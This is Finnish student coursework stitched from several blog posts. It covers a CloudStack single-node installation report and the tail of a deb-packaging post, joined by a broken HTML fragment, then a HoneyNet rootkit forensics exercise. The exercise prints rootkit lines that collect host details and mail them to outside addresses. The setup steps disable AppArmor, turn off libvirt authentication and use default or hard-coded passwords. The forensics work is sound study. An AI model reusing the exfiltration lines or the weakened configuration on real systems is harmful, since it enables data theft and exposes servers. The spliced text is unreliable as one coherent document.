<p><img class="wp-image-150 aligncenter" src="http://gomummi.com/wp-content/uploads/2016/12/3-web-admin-panel-300×158.png" alt="" width="591" height="311" /></p>
<p>Mikäli konfigurointi meni läpi, niin sinulle aukeaa yllä oleva näkymä. Tarkista, että Primary ja Secondary Storagejen kohdalla ei ole 0/0gb, koska tämä tarkoittaa sitä ettei yhteys Managementin ja niiden välillä toimi.</p>
<p>Huomasimme, että kannattaa aina tarkistaa System VM:n toimivuus konfiguroinnin jälkeen, koska niiden korrekti toimiminen on elintärkeää. Näet ne kohdasta Infrastructure -> System VMs.</p>
<p><img class="wp-image-155 aligncenter" src="http://gomummi.com/wp-content/uploads/2016/12/4-web-panel-300×151.png" alt="" width="525" height="264" /></p>
<p>Seuraavaksi suosittelen käydä tarkistamassa, että toimiiko Secondary Storage oikein. Tämän huomaa siitä, että latautuuko asennuksen mukana tuleva CentOs5.5 template käytettäväksi.</p>
<p>Tämän löytää kohdasta Templates. Klikkaa CentOS5.5 ja sieltä Zones-kohtaa.</p>
<p><img class="wp-image-156 aligncenter" src="http://gomummi.com/wp-content/uploads/2016/12/5-Temlates-300×206.png" alt="" width="570" height="391" /></p>
<p>Status- kohdassa saattaa lukea esim. Downloading tai Installing template, jolloin täytyy odottaa. Ready kertoo, onko template valmiina käyttöön. Jos System VM:t näyttävät vihreää ja template on valmis, niin seuraavaksi voit yrittää luoda instanssin. Instances -> Add Instance ja valitset templateksi näkyvissä olevan CentOS5.5 templaten. Me valitsimme Mediumiksi kaikki valinnat mitä kysyttiin ja loimme Instanssin. Ensimmäisellä kerralla tässä kesti n. 10 minuuttia ja sen jälkeen luonti meni läpi.</p>
<p><img class="wp-image-157 aligncenter" src="http://gomummi.com/wp-content/uploads/2016/12/6-Instances-300×147.png" alt="" width="571" height="280" /></p>
<p>Defaulttina käyttäjätunnus on “root” ja salasana “password”.</p>
<p> </p>
<p>Teimme vielä myöhemmin Ubuntu 14.04 instanssin ISO-tiedostosta. ISO:n lisääminen tapahtuu Templates-> Select View-kohdasta ISO ja Register ISO. Etsi internetistä esim. Ubuntu 14.04 iso-tiedosto ja lataa tätä kautta se CloudStackiin.</p>
<p><img class="wp-image-158 aligncenter" src="http://gomummi.com/wp-content/uploads/2016/12/7-Template-300×207.png" alt="" width="578" height="399" /></p>
<p>Instanssin luonti meni samalla tavalla kuin aikaisemmin paitsi, että ensimmäisessä kohdassa valitaan ISO Templaten sijaan. Kun avaat konsoliyhteyden ensimmäistä kertaa tähän ISO:lla luotuun instanssiin niin joudut asentamaan käyttöjärjestelmän siihen. Asennuksen jälkeen muista irrottaa ISO-tiedosto instanssista “Detach ISO”-painikkeesta. Käynnistä vielä instanssi uudelleen ja sinun pitäisi päästä kirjautumaan virtuaalikoneelle.</p>
<p><img class=" wp-image-159 aligncenter" src="http://gomummi.com/wp-content/uploads/2016/12/8-Instance-Ubuntu-300×184.jpg" alt="" width="579" height="355" /></p>
<h2><a name="_Toc469062776"></a>4.7      Reinstall-skripti</h2>
<p>Jouduimme asentamaan ympäristömme uudestaan kymmeniä kertoja ennen kuin saimme sen toimimaan oikein, joten teimme skriptin joka hoitaa sen automaattisesti. Se myös käynnistää tarvittavat osat, jotta pystyimme suoraan vain ajamaan skriptin ja koittaa konfigurointia uudelleen ilman suurempia ongelmia. Ainoa haitta oli, että tämä prosessi kestää noin 10 minuuttia joka kerralla.</p>
<p> </p>
<p><em>#!/bin/bash</em></p>
<p><em>/etc/init.d/cloudstack-management stop</em></p>
<p><em>mysql -u root -pCloudStack11 -e ’drop database cloud;’</em></p>
<p><em>mysql -u root -pCloudStack11 -e ’drop database cloud_usage;’</em></p>
<p><em>rm -rf /var/log/cloudstack</em></p>
<p><em>rm -rf /var/log/cloudstack-management</em></p>
<p><em>cloudstack-setup-database cloud:CloudStack11@localhost –deploy-as=root:CloudStack11</em></p>
<p><em>cloudstack-setup-management</em></p>
<p><em>/etc/init.d/cloudstack-management start</em></p>
<p><em>service tomcat6 start</em></p>
<p><em>service cloudstack-agent start</em></p>
<p><em>service libvirt-bin restart</em></p>
<p> </p>
<p>Skriptissä olevat CloudStack11-kohdat ovat siis salasanoja. Ajaminen tapahtui skriptin kansiossa vain kirjoittamalla <em>./alustacs.sh.</em></p>
<p> </p>
<h2><a name="_Toc469062777"></a>4.8      Ongelmia</h2>
<p>Palomuurien on aina oltava avattuna yhteyksille. Käytimme tuhottomasti aikaa, kun saimme yhteysvirheitä.</p>
<p> </p>
<p>Tarkista jokaisella projektikerralla, että mounttaukset toimivat. Tähänkin meni reilusti aikaa, kun emme tajunneet mounttausten katoilevan välillä. Toisaalta silloin tällöin ne myös olivat valmiiksi toiminnassa, kun käynnistimme käyttöjärjestelmät.</p>
<p> </p>
<p>Jos CloudStackin dashboardin system wizard jumittuu system VM kohtaan, tarkista management-koneen syslogista tai cloudstack-management/agent logeista, että hakeeko ohjelma templatea väärästä kansiosta. Meillä upposi tähän todella paljon aikaa, kun emme tajunnet, että vaikka seurasimme ohjeita tunnollisesti, niin meidän täytyi käydä vaihtamassa kansion nimi samaan, kuin mistä ohjelma etsii sitä. Tästä ei siis ollut mainintaa ohjeissa. Logit löytyvät tiedostopolusta <em>/var/log/cloudstack/agent/agent.log</em>. Kansio oli siis paikassa <em>/export/secondary/template/tmpl/1 </em>Täällä meillä oli kansio nimeltä 10, joka piti vaihtaa numeroksi 3.</p>
<p> </p>
<p>Suurimmat ongelmat meillä oli kuitenkin CloudStackin epävakauden kanssa. Softa ei tuota juurikaan helppolukuisia virheilmoituksia vaan keinosi ovat joko googlettaa sen antamaa epämääräistä virheilmoitusta tai vikaa, tai lukea agent.logia. Myöskään virallinen dokumentaatio ei ole kovin helppolukuista, koska se ei sisällä kuvia tai ohjeita mahdollisten virheiden varalle.</p>
<p> </p>
<h1><a name="_Toc469062778"></a>5       Palvelinasennus (single node installation)</h1>
<h2><a name="_Toc469062779"></a>5.1      Alkutoimet</h2>
<p>Kun palvelin oli liitetty sähköverkkoon ja siihen oli kytketty näppäimistö ja näyttö, siirryimme tutkimaan BIOS:in asetuksia. Aikaisempien käyttäjien toimesta palvelimen kahdeksan kovalevyä oli jaettu RAID-tekniikkaa hyödyntäen kuudeksi levyksi, joista neljä toimi RAID 1-tekniikalla.</p>
<p> </p>
<p>Päätimme muokata jakoa paremmin omia tarpeitamme vastaavaksi, joten muutimme asetuksia siten, että kaikki kahdeksan kovalevyä toimivat RAID 10 –tekniikkaa hyödyntäen yhtenä 1,4 teratavun levynä. Valitsimme RAID 10:n, koska se mahdollistaa tavallista yksittäistä kovalevyä suuremman kirjoitusnopeuden ja hoitaa samalla laitteen tiedostojen varmuuskopioinnin peilauksen myötä. Tällä tekniikalla puolet kovalevyjen 2,8 teratavun kokonaistallennustilasta menetettiin, mutta tiedot ovat turvassa yksittäisen kovalevyn rikkoutuessa.</p>
<p> </p>
<h2><a name="_Toc469062780"></a>5.2      Linuxin asennus ja konfigurointi</h2>
<p>Seuraavaksi aloitimme Ubuntu 14.04 server –käyttöjärjestelmän asentamisen. Asennusvaiheessa tehtiin tarvittavat valinnat kielen, aikavyöhykkeen, näppäimistön ja päivitysasetusten osalta. Asennusvaiheessa olisi ollut mahdollista asentaa samalla myös palvelimessa tarvittavia ohjelmistokokonaisuuksia, kuten Tomcat java server, mutta päätimme jättää ne asentamatta tässä vaiheessa ja asentaa ne myöhemmin edetessämme erillisten asennusohjeiden mukaisesti.</p>
<p> </p>
<p>Asennuksen jälkeen ensimmäisen sisäänkirjautumisen jälkeen ajettiin komennot:</p>
<p><strong>                      </strong><strong>$ sudo apt-get update</strong></p>
<p><strong>                      $ sudo apt-get upgrade</strong></p>
<p><strong>                      $ sudo passwd root</strong></p>
<p><strong> </strong></p>
<h2><a name="_Toc469062781"></a>5.3      IP-konfiguraatiot</h2>
<p>Käyttöjärjestelmän asentamisen ja muutaman peruskomennon jälkeen voitiin siirtyä tekemään peruskonfiguraatioita verkko-asetuksiin. Konfiguraatiot tehtiin /etc/network/ -hakemistossa sijaitsevaan interfaces-tiedostoon, joka varmuuskopioitiin nimellä interfaces.orig ennen asetusten muuttamista.</p>
<p> </p>
<p>Tiedostoon tehtiin seuraavat konfiguraatiot:</p>
<p><strong><em> </em></strong></p>
<p>auto eth1</p>
<p>iface eth1 inet manual</p>
<p> </p>
<p># Public network</p>
<p>auto cloudbr0</p>
<p>iface cloudbr0 inet static</p>
<p>address 172.28.175.69</p>
<p>netmask 255.255.0.0</p>
<p>gateway 172.28.1.254</p>
<p>dns-nameservers 172.28.170.201 172.28.170.202</p>
<p>bridge_ports eth1</p>
<p>bridge_fd 5</p>
<p>bridge_stp off</p>
<p>bridge_maxwait 1</p>
<p> </p>
<p># Private network</p>
<p>auto cloudbr1</p>
<p>iface cloudbr1 inet manual</p>
<p>bridge_ports none</p>
<p>bridge_fd 5</p>
<p>bridge_stp off</p>
<p>bridge_maxwait 1</p>
<p> </p>
<p>Tietojen syöttämisen jälkeen laite käynnistettiin uudelleen komennolla <em>reboot. </em>Lopuksi asetusten voimaantulo tarkastettiin uudelleenkäynnistymisen jälkeen komennolla <em>ifconfig</em>, joka kertoi, että IP-osoite ja verkkomaski ovat samat kuin interfaces-tiedostoon määriteltiin.</p>
<p> </p>
<h2><a name="_Toc469062782"></a>5.4      ClousStackin asennus</h2>
<p>CloudStackin asennus aloitettiin lisäämällä pakettien lataamiseen tarvittava lähdeosoite sources –listalle, joka tapahtui luomalla <em>/etc/apt/sources.list.d/</em> -hakemistoon tiedosto nimeltä cloudstack.list. Tiedoston sisällöksi tuli rivi ”<em>deb http://cloudstack.apt-get.eu/ubuntu trusty 4.4”</em>. Lisäksi haettiin julkinen avain, joka lisättiin luotettuihin avaimiin komennolla <em>wget -O – http://cloudstack.apt-get.eu/release.asc|apt-key add -apt-get update.</em></p>
<p>Seuraavaksi asennettiin OpenNTPD ja CloudStack management komennoilla <em>apt-get install openntpd</em> ja <em>apt-get install cloudstack-management.</em></p>
<p> </p>
<h2><a name="_Toc469062783"></a>5.5      MySQL serverin asennus</h2>
<p>Asennettiin MySQL server:</p>
<p><strong><em>$ </em></strong><strong><em>apt-get –yes install mysql-server</em></strong></p>
<p><strong><em> </em></strong></p>
<p>Muokattiin cloudstack tietokantakonfiguraatio tiedostoa:</p>
<p><strong><em>$ nano /etc/mysql/conf.d/cloudstack.cnf</em></strong></p>
<p><strong><em> </em></strong></p>
<p>Tiedoston loppuun lisätiin seuraavat rivit:</p>
<p> </p>
<p>!includedir /etc/mysql/conf.d/</p>
<p>!includedir /etc/mysql/mysql.conf.d/</p>
<p>[mysqld]</p>
<p>innodb_rollback_on_timeout=1</p>
<p>innodb_lock_wait_timeout=600</p>
<p>max_connections=350</p>
<p>log-bin=mysql-bin</p>
<p>binlog-format = ‘ROW’</p>
<p> </p>
<p>Käynistettiin MySQL serverin uudelleen:</p>
<p><strong><em>$ sudo service mysql restart </em></strong></p>
<p><img class=" wp-image-160 aligncenter" src="http://gomummi.com/wp-content/uploads/2016/12/9-MySQL-config-300×195.png" alt="" width="529" height="344" /></p>
<p>Kun mysql-server käynnistettiin uudelleen, tuli virheilmoitus. 3-Noden asennuksessa tällaista ei tullut.</p>
<p> </p>
<p> </p>
<p>Internetistä löytyi ohjeet ongelman korjaamiseen. Täytyi tehdä muutoksia tiedostoon: /usr/share/cloudstack-management/setup/create-schema-premium</p>
<p>Luotiin tiedoston patch-tiedosto /tmp/- kansioon.</p>
<p> </p>
<p><strong>$ sudo nano /tmp/CLOUDSTACK-8157.diff</strong></p>
<p> </p>
<p>Tiedoston sisältö oli seuraava:</p>
<p><em>— /usr/share/cloudstack-management/setup/create-schema-premium.sql.orig 2015-02-14 16:53:19.341079935 +0000</em></p>
<p><em>+++ /usr/share/cloudstack-management/setup/create-schema-premium.sql 2015-02-14 16:54:12.127456646 +0000</em></p>
<p><em>@@ -296,7 +296,7 @@</em></p>
<p><em>   `password` varchar(200) COMMENT ‘password’,</em></p>
<p><em>   `round_robin_marker` int COMMENT ‘This marks the volume to be picked up for lun creation, RR fashion’,</em></p>
<p><em>   </em><em>PRIMARY KEY  (`id`),</em></p>
<p><em>–  CONSTRAINT `fk_netapp_volume__pool_id` FOREIGN KEY `fk_netapp_volume__pool_id` (`pool_id`) REFERENCES `netapp_pool` (`id`) ON DELETE CASCADE,</em></p>
<p><em>+  CONSTRAINT `fk_netapp_volume__pool_id` FOREIGN KEY `fk_netapp_volume__pool_id` (`pool_id`) REFERENCES `cloud`.`netapp_pool` (`id`) ON DELETE CASCADE,</em></p>
<p><em>   INDEX `i_netapp_volume__pool_id`(`pool_id`)</em></p>
<p><em> ) ENGINE=InnoDB DEFAULT CHARSET=utf8;</em></p>
<p><em> </em></p>
<p><em>@@ -315,7 +315,7 @@</em></p>
<p><em>   `size` bigint NOT NULL COMMENT ‘lun size’,</em></p>
<p><em>   `volume_id` bigint unsigned NOT NULL COMMENT ‘parent volume id’,</em></p>
<p><em>   PRIMARY KEY (`id`),</em></p>
<p><em>–  CONSTRAINT `fk_netapp_lun__volume_id` FOREIGN KEY `fk_netapp_lun__volume_id` (`volume_id`) REFERENCES `netapp_volume` (`id`) ON DELETE CASCADE,</em></p>
<p><em>+  CONSTRAINT `fk_netapp_lun__volume_id` FOREIGN KEY `fk_netapp_lun__volume_id` (`volume_id`) REFERENCES `cloud`.`netapp_volume` (`id`) ON DELETE CASCADE,</em></p>
<p><em>   INDEX `i_netapp_lun__volume_id`(`volume_id`),</em></p>
<p><em>   INDEX `i_netapp_lun__lun_name`(`lun_name`)</em></p>
<p><em> ) ENGINE=InnoDB DEFAULT CHARSET=utf8;</em></p>
<p> </p>
<p>Seuraavaksi varmuuskopioitiin create-schema-premium.sql tiedoston alkuperäinen versio:</p>
<p> </p>
<p><strong>$ sudo cp /usr/share/cloudstack-management/setup/create-schema-premium.sql \ /usr/share/cloudstack-management/setup/create-schema-premium.sql.orig</strong></p>
<p><strong> </strong></p>
<p>Asennettiin PATCH daemon:</p>
<p><strong>$ sudo apt-get install patch</strong></p>
<p>Ajettiin aiemmin luotu korjaustiedosto PATCH:illa:</p>
<p><strong>$ sudo patch -d / -p0 -u -i /tmp/CLOUDSTACK-8157.diff</strong></p>
<p> </p>
<p> </p>
<p><strong> </strong></p>
<h2><a name="_Toc469062784"></a>5.6      NFS asennus, export mount</h2>
<p>Seuraavaksi luotiin hakemistot /export/primary ja /export/secondary ja asennettiin NFS komennolla <em>apt-get install nfs-kernel-server.</em></p>
<p> </p>
<p>Sitten luotiin exports-tiedosto exportin konfiguraatiota varten seuraavalla komennolla:</p>
<p><strong><em>$ sudo nano /etc/exports/</em></strong></p>
<p><strong><em> </em></strong></p>
<p>Tiedostoon syötettiin rivi:</p>
<p>/export *(rw,async,no_root_squash,no_subtree_check)</p>
<p> </p>
<p>Lopuksi annettiin komento <strong><em>$ exportfs -a</em></strong></p>
<p> </p>
<p>NFS täytyi konfiguroida statd kuuntelemaan tiettyjä portteja, tämä onnistui ajamalla seuraavat kolme komentoa, joista ensimmäisellä tehdään varmuuskopio nfs-common -tiedostosta nimellä nfs-common.orig:</p>
<p><strong><em>$ </em></strong><strong><em>cp /etc/default/nfs-common /etc/default/nfs-common.orig</em></strong></p>
<p><strong><em>$</em></strong><strong><em> sed -i ‘/NEED_STATD=/ a NEED_STATD=yes’ /etc/default/nfs-common</em></strong></p>
<p><strong><em>$</em></strong><strong><em> sed -i ‘/STATDOPTS=/ a STATDOPTS=”–port 662 –outgoing-port 2020″‘ /etc/default/nfs-common</em></strong></p>
<p><strong><em> </em></strong></p>
<p>Seuraavaksi täytyi konfiguroida lockd, joten avasimme konfiguraatiotiedoston komennolla:</p>
<p><strong><em>$ sudo nano /etc/modprobe.d/lockd.conf</em></strong></p>
<p><strong><em> </em></strong></p>
<p>Tiedostoon lisättiin seuraava rivi:</p>
<p>options lockd nlm_udpport=32769 nlm_tcpport=32803</p>
<p> </p>
<p>Tämän jälkeen NFS käynnistettiin uudelleen ja testattiin, että exporttaus on onnistunut. Tämä tapahtui seuraavilla komennoilla:</p>
<p><strong><em>$ service nfs-kernel-server restart</em></strong></p>
<p><strong><em>$ showmount – 127.0.0.1</em></strong></p>
<p><strong><em> </em></strong></p>
<p>Kaikki oli kunnossa, koska komennon jälkeen näytölle tulostui exportattu hekemisto.</p>
<p>Sitten luotiin mountattavat hakemistot, tehtiin niille tarvittavat konfiguraatiot ja muontattiin ne.</p>
<p><strong><em>$ IP=172.28.175.69</em></strong></p>
<p><strong><em>$</em></strong><strong><em> mkdir -p /mnt/primary /mnt/secondary</em></strong></p>
<p><strong><em> </em></strong></p>
<p>Konfiguraatiotiedosto fstab avattiin komennolla:</p>
<p><strong><em>$ sudo nano /etc/fstab</em></strong></p>
<p><strong><em><br />
</em></strong></p>
<p><strong><em> </em></strong></p>
<p><strong><em> </em></strong></p>
<p><strong><em> </em></strong></p>
<p>Ja siihen lisättiin seuraavat rivit:</p>
<p><strong><em>$ 172.28.175.69:/export/primary   /mnt/primary    nfs rsize=8192,wsize=8192,timeo=14,intr,vers=3,noauto  0   2</em></strong></p>
<p><strong><em>$ 172.28.175.69:/export/secondary /mnt/secondary  nfs rsize=8192,wsize=8192,timeo=14,intr,vers=3,noauto  0   2</em></strong></p>
<p><strong><em> </em></strong></p>
<p>Lopuksi mountattiin hakemistot komennolla:</p>
<p><strong><em>$</em></strong><strong><em> mount /mnt/primary /mnt/secondary</em></strong></p>
<p><strong><em> </em></strong></p>
<p>Seuraava vaihe oli asentaa libvirt, jota CloudStack käyttää virtuaalikoneiden hallintaan.</p>
<p> </p>
<p>Asennus tapahtui komennolla:</p>
<p><strong><em>$</em></strong><strong><em> apt-get install cloudstack-agent</em></strong></p>
<p><strong><em> </em></strong></p>
<p>Alkuperäisestä konfiguraatiotiedostosta otettiin varmuuskopio komennolla:</p>
<p><strong><em>$</em></strong><strong><em> cp /etc/libvirt/libvirtd.conf /etc/libvirt/libvirtd.conf.orig</em></strong></p>
<p><strong><em> </em></strong></p>
<p>Sitten tehtiin konfiguraatiot komennoilla:</p>
<p><strong><em>$</em></strong><strong><em> sed -i ‘/#listen_tls = 0/ a listen_tls = 0’ /etc/libvirt/libvirtd.conf</em></strong></p>
<p><strong><em>$</em></strong><strong><em> sed -i ‘/#listen_tcp = 1/ a listen_tcp = 1’ /etc/libvirt/libvirtd.conf</em></strong></p>
<p><strong><em>$</em></strong><strong><em> sed -i ‘/#tcp_port = “16509”/ a tcp_port = “16509”‘ /etc/libvirt/libvirtd.conf</em></strong></p>
<p><strong><em>$</em></strong><strong><em> sed -i ‘/#auth_tcp = “sasl”/ a auth_tcp = “none”‘ /etc/libvirt/libvirtd.conf</em></strong></p>
<p><strong><em> </em></strong></p>
<p>Seuraavaksi konfiguroitiin libvirt-conf -tiedosto, josta otettiin aikaisempien tiedostojen tavoin aluksi varmuuskopio.</p>
<p><strong><em>$</em></strong><strong><em> cp /etc/default/libvirt-bin /etc/default/libvirt-bin.orig</em></strong></p>
<p><strong><em>$</em></strong><strong><em> sed -i -e ‘s/libvirtd_opts=”-d”/libvirtd_opts=”-d -l”/’ /etc/default/libvirt-bin</em></strong></p>
<p><strong><em> </em></strong></p>
<p>Lopuksi käynnistettiin libvirt-bin uudelleen.</p>
<p><strong><em>$</em></strong><strong><em> service libvirt-bin restart</em></strong></p>
<p><strong><em> </em></strong></p>
<p>Viimeiseksi konfiguroitiin vielä qemu.conf -tiedosto:</p>
<p><strong><em>$</em></strong><strong><em> cp /etc/libvirt/qemu.conf /etc/libvirt/qemu.conf.orig</em></strong></p>
<p><strong><em>$</em></strong><strong><em> sed -i ‘/# vnc_listen = “0.0.0.0”/ a vnc_listen = “0.0.0.0”‘ /etc/libvirt/qemu.conf</em></strong></p>
<p><strong><em> </em></strong></p>
<p>Ja lopuksi palvelu käynnistettiin uudelleen.</p>
<p><strong><em>$</em></strong><strong><em> service libvirt-bin restart</em></strong></p>
<p><strong><em> </em></strong></p>
<p>Seuraava vaihe oli AppArmorin poistaminen käytöstä, tämä tapahtui seuraavilla komennoilla:</p>
<p><strong><em>$</em></strong><strong><em> ln -s /etc/apparmor.d/usr.sbin.libvirtd /etc/apparmor.d/disable/</em></strong></p>
<p><strong><em>$</em></strong><strong><em> ln -s /etc/apparmor.d/usr.lib.libvirt.virt-aa-helper /etc/apparmor.d/disable/</em></strong></p>
<p><strong><em>$</em></strong><strong><em> apparmor_parser -R /etc/apparmor.d/usr.sbin.libvirtd</em></strong></p>
<p><strong><em>$</em></strong><strong><em> apparmor_parser -R /etc/apparmor.d/usr.lib.libvirt.virt-aa-helper</em></strong></p>
<p> </p>
<p>Ja lopuksi taas uudelleenkäynnistys.</p>
<p><strong><em>$</em></strong><strong><em> service libvirt-bin restart</em></strong></p>
<p><strong><em> </em></strong></p>
<p>Palomuurin asetukset Palomuuriin tehtiin seuraavat määritykset</p>
<p><strong><em>$</em></strong><strong><em> ufw allow proto tcp from any to any port 22</em></strong></p>
<p><strong><em>$</em></strong><strong><em> ufw allow proto tcp from any to any port 1798</em></strong></p>
<p><strong><em>$</em></strong><strong><em> ufw allow proto tcp from any to any port 16509</em></strong></p>
<p><strong><em>$</em></strong><strong><em> ufw allow proto tcp from any to any port 5900:6100</em></strong></p>
<p><strong><em>$</em></strong><strong><em> ufw allow proto tcp from any to any port 49152:49216</em></strong></p>
<p><strong><em> </em></strong></p>
<p>Komentojen jälkeen palvelin käynnistettiin uudelleen ja testattiin, että NFS toimii edelleen.</p>
<p><strong><em>$</em></strong><strong><em> reboot</em></strong></p>
<p><strong><em>                      </em></strong><strong><em>$</em></strong><strong><em> rpcinfo -u 172.28.175.69 mount</em></strong></p>
<p><strong><em>$</em></strong><strong><em> showmount -e 172.28.175.69</em></strong></p>
<p>Uudelleenkäynnistyksen jälkeen hakemistot täytyi mountata uudelleen antamalla komennot:</p>
<p><strong><em>$</em></strong><strong><em> mount /mnt/primary</em></strong></p>
<p><strong><em>$</em></strong><strong><em> mount /mnt/secondary</em></strong></p>
<p><strong><em> </em></strong></p>
<p>Seuraavaksi haettiin system template /mnt/secondary:</p>
<p><strong><em>$</em></strong><strong><em> /usr/share/cloudstack-common/scripts/storage/secondary/cloud-install-sys-tmplt  -m /mnt/secondary -u http://cloudstack.apt-get.eu/systemvm/4.4/systemvm64template-4.4.1-7-kvm.qcow2.bz2 -h kvm -F</em></strong></p>
<p><strong><em> </em></strong></p>
<h2><a name="_Toc469062785"></a>5.7      Käyttöliittymän testaus</h2>
<p> </p>
<p>Tässä vaiheessa pääsimme testaamaan CloudStackin graafisen käyttöliittymän toimintaa. Avasimme käyttöliittymän osoitteessa <a href="http://192.168.77.10:8080/client">http://192.168.77.10:8080/client</a>, mutta saimme tulokseksi 404 -virheilmoituksen. Tästä oli maininta myös ohjeessa, jota seurasimme ja siihen oli listattu komentoja, jotka voisi kokeilla ajaa virheen ilmetessä.</p>
<p> </p>
<p>Kokeilimme ajaa seuraavat komennot ohjeen mukaisessa järjestyksessä:</p>
<p><strong><em>$</em></strong><strong><em> service cloudstack-management stop</em></strong></p>
<p><strong><em>$</em></strong><strong><em> service tomcat6 stop</em></strong></p>
<p><strong><em>$</em></strong><strong><em> service cloudstack-agent stop</em></strong></p>
<p><strong><em>$</em></strong><strong><em> ps -efl | grep java</em></strong></p>
<p><strong><em> </em></strong></p>
<p><strong><em>$</em></strong><strong><em> service cloudstack-management start</em></strong></p>
<p><strong><em>$</em></strong><strong><em> service cloudstack-management status</em></strong></p>
<p><strong><em>$</em></strong><strong><em> service cloudstack-agent start</em></strong></p>
<p><strong><em>$</em></strong><strong><em> service cloudstack-agent status</em></strong></p>
<p>Palveluiden uudelleenkäynnistämisen jälkeen käyttöliittymä aukesi.</p>
<p> </p>
<h2><a name="_Toc469062786"></a>5.8      Web-käyttöliittymä</h2>
<p>Web-käyttöliittymälle pääsee kirjautumaan tunnuksilla: admin, salasana: password.</p>
<p> </p>
<p>Alkuun latautuu Dashboard. Tästä näkee systeemin kapasiteetin ja Alert-ilmoitukset.</p>
<p> </p>
<p>Infrastructure-välilehdellä näkee käytössä olevat resurssit.</p>
<p>Instances-välilehdellä pääsee näkemään luodut virtuaalikoneet, käsitellä ne tai voidaan luoda uusia.</p>
<p> </p>
<p>Instanceen voidaan kirjautua Console-ikkunan avulla. Tässä näkee CentOS kone varasi IP-osoite Guest.</p>
<p> </p>
<p>TEMPLATES-välilehdellä on oletuksena ladatut templatet, joista voi luoda virtuaalikoneet.</p>
<p> </p>
<p>ISO-välilehdelle täytyy ladata levykuvat erikseen, koska oletuksena niitä ei ole.</p>
<p>ISO-levykuvat ladataan verkosta.</p>
<p> </p>
<p>PROJECT-välilehdellä voidaan luoda projekteja ja määritä niille käyttäjiä.</p>
<p> </p>
<p>Accounts-välilehdellä voidaan lisätä uusia käyttäjiä.</p>
<p> </p>
<p>Global Settings-välilehdellä pääsee muokkaamaan mm. hypervisorin asetuksia, kuten maksimi käyttäjämäärän jne. (käytössämme on KVM-hypervizor).</p>
<p> </p>
<p>Instance Size-välilehdellä voidaan luoda valmiiksi valittuja VM-kokonpanoja siis CPU, RAM, HDD.</p>
<p> </p>
<p> </p>
<h1><a name="_Toc469062788"></a>Lähteet</h1>
<p>Navi, Ravin. Apache CloudStack Computing. Luettavissa: <a href="http://site.ebrary.com/lib/haagahelia/detail.action?docID=10714265">http://site.ebrary.com/lib/haagahelia/detail.action?docID=10714265</a></p>
<p>Apache CloudStack 4.6 Installation Documentation. Luettavissa: <a href="http://docs.cloudstack.apache.org/projects/cloudstack-installation/en/4.6/">http://docs.cloudstack.apache.org/projects/cloudstack-installation/en/4.6/</a></p>
<p>Apache CloudStack 4.4 Installation Documentation. Luettavisa:</p>
<p><a href="http://docs.cloudstack.apache.org/projects/cloudstack-installation/en/4.4/">http://docs.cloudstack.apache.org/projects/cloudstack-installation/en/4.4/</a></p>
<p>Step by Step Apache CloudStack Installation -video. Katsottavissa:</p>
<p><a href="https://www.youtube.com/watch?v=ldG5LsP5new">https://www.youtube.com/watch?v=ldG5LsP5new</a></p>
<p>CloudStack Installation on Ubuntu Server using Virtualbox -video. Katsottavissa:</p>
<p><a href="https://www.youtube.com/watch?v=zsweF5rkc2I">https://www.youtube.com/watch?v=zsweF5rkc2I</a></p>
<p>CloudStack 4.4 Single Server on Ubuntu 14.04.1 with KVM</p>
<p><a href="http://www.greenhills.co.uk/2015/02/23/cloudstack-4.4-single-server-on-ubuntu-14.04.1-with-kvm.html">http://www.greenhills.co.uk/2015/02/23/cloudstack-4.4-single-server-on-ubuntu-14.04.1-with-kvm.html</a></p>
” data-medium-file=”” data-large-file=”” class=”alignnone size-full wp-image-162″ src=”https://pantsesnyi.files.wordpress.com/2016/04/loppu.png?w=720″ alt=”loppu” data-recalc-dims=”1″ />

Nyt ei kuitenkin asennettu mitään koska ohjelmat oli asennettu aikaisemmin.

Lähteet:

http://terokarvinen.com/2011/create-deb-metapackage-in-5-minutes

http://terokarvinen.com/2011/update-all-your-computers-with-a-deb-repository

https://kimstenberg.wordpress.com/

http://forum.ubuntu.ru/index.php?topic=279895.0

 

Tehtävä 3- Rootkitin etsintä 

Tehtävänä oli löytää saastetun konen levykuvasta jälkiä rootkitistä.

HoneyNet Scan of the Month 15. http://old.honeynet.org/scans/scan15/

Ratkaisu:

Asensin labran koneseen Xubuntu 14.04  Live USB-tikulta..

Latasin levykuva: http://old.honeynet.org/scans/scan15/

Päivitin pakettitietokannan:

sudo apt-get update

Päätin käyttää “sleuthkit”(lisäätietoa: http://www.sleuthkit.org/) niminen kokoelman,

niin latasin sen komennolla:

sudo apt-get install sleuthkit

menin kansioon missä saastunut levykuva on:

cd /home/Downloads

tarkistetin tarkistussumman:

md5sum honeynet.tar.gz

Summa oli sama kun sivustossa MD5=0dff8fb9fe022ea80d8f1a4e4ae33e21

Olen purkanut levykuvan komennolla:

tar -xvf honey.tar.gz

Purettu levykuva sisältänyt kansion honeynet

screenshot-1

niin olin luonut tähän kansioon vielä kaksi kansiota allocated ja deleted yhdellä konmennolla:

mkdir allocated deleted

palautetaan allocated tiedostot kansioon allocated:

tsk_recover -a honeypot.hda8.dd allocated

1614 tiedostoa oli palautettu

palautetaan poistetut tiedostot kansioon deleted:

tsk_recover honeypot.hda8.dd deleted

37 tiedostoa on palautettu.

Minua enemmän kiinnostavat poistetut tiedostot

siellä löytyy vielä yksi arkisto lk.tgz purkasin sen:

tar -xvf lk.tgz

kansioon last on purettu:

screenshot-2

nimistä linsniffer, logclear voidaan päätää että ollaan lähellä.

komennolla: fls -l honeypot.hda8.dd | less

sain viimeksi käytetyjen tai poistettujen tiedostojen listan.

(komennolla fls saa tietoa mitkä vielä argumentit voi käyttää tällä sleuthkit komennolla)

screenshot-8

viimeiset ovat lk.tgz ja last 03:44 ja 03.45 käyetetty.

 

less install

screenshot-5

screenshot-7

tiedosto on skripti joka siirtää, kopioi ja poistaa tietoja netstat, ifconfig….

käsittelee konen verkkotietoja…

Computer tiedostoon rootkit keräsi tietokoneen tietoja:
echo “* Luam Informatiile dorite …”
echo “* Info : $(uname -a)” >> computer
echo “* Hostname : $(hostname -f)” >> computer
echo “* IfConfig : $(/sbin/ifconfig | grep inet)” >> computer
echo “* Uptime : $(uptime)” >> computer
echo “* Cpu Vendor ID : $(cat /proc/cpuinfo|grep vendor_id)” >> computer
echo “* Cpu Model : $(cat /proc/cpuinfo|grep model)” >> computer
echo “* Cpu Speed: $(cat /proc/cpuinfo|grep MHz)” >> computer
echo “* Bogomips: $(cat /proc/cpuinfo|grep bogomips)” >> computer
echo “* Spatiu Liber: $(df -h)” >> computer

rivit:

cat computer | mail -s “placinte” last@linuxmail.org

cat computer | mail -s “roote” bidi_damm@yahoo.com

